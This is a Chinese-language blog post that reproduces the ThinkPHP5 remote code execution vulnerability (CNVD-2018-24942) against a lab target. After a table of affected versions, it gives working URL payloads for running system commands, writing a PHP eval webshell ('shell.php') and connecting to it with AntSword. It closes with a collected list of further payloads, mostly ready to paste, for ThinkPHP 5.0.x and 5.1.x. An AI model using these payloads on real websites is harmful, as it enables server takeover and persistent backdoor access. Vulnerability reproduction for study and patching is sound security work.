老古董

0x00 漏洞概述

编号为CNVD-2018-24942

ThinkPHP5存在远程代码执行漏洞。由于框架对控制器名称未能进行充分检测,攻击者可以利用该漏洞对网站进行远程命令执行(RCE)。

影响产品包括:

  • 上海顶想信息科技有限公司 ThinkPHP 5.*,<5.1.31
  • 上海顶想信息科技有限公司 ThinkPHP <=5.0.23

尝试复现时需要注意版本,若版本处在5.0.13~5.0.19,由于config中app_debug配置项默认为false,使得Payload失效。

大致统计结果如下表:

版本号 是否可被攻击 条件
5.0.0
5.0.1
5.0.2
5.0.3
5.0.4
5.0.5
5.0.6
5.0.7
5.0.8 无需开启debug模式
5.0.9 无需开启debug模式
5.0.10 无需开启debug模式
5.0.11 无需开启debug模式
5.0.12 无需开启debug模式
5.0.13 需开启debug模式
5.0.14 需开启debug模式
5.0.15 需开启debug模式
5.0.16 需开启debug模式
5.0.17 需开启debug模式
5.0.18 需开启debug模式
5.0.19 需开启debug模式
5.0.20
5.0.21 需开启debug模式
5.0.22 需开启debug模式
5.0.23 需开启debug模式

0x01 远程代码执行

访问靶机:

ThinkPHP5远程代码执行漏洞复现_RCE

传入:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd

实际上就是非法传参调用函数,再通过数组拆分传入函数参数。

ThinkPHP5远程代码执行漏洞复现_PHP_02

这已经构造出了任意命令执行。

0x02 木马

利用远程命令执行可以轻松写入一句话木马。写入一个shell.php

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[pass])?%3E

ThinkPHP5远程代码执行漏洞复现_ThinkPHP_03

蚁剑连接成功:

ThinkPHP5远程代码执行漏洞复现_RCE_04

可以在/root目录下看到该机器以前执行的文件:

ThinkPHP5远程代码执行漏洞复现_php_05

0x03 大佬的POC

通杀:

# 版本号5.0.8~5.0.19
?s=whoami&_method=__construct&filter&filter=system
# 版本号5.0.20~5.0.23
_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami

5.1.x php版本>5.5:

?s=index/think\request/input?data[]=phpinfo()&filter=assert
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

5.0.x php版本>=5.4:

?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>'
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>'
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'

0x04 废话

首次使用Windows搭建Docker,花费了大量时间。使用WSL2能够摆脱Hyper-V的束缚,性能表现也有所提升。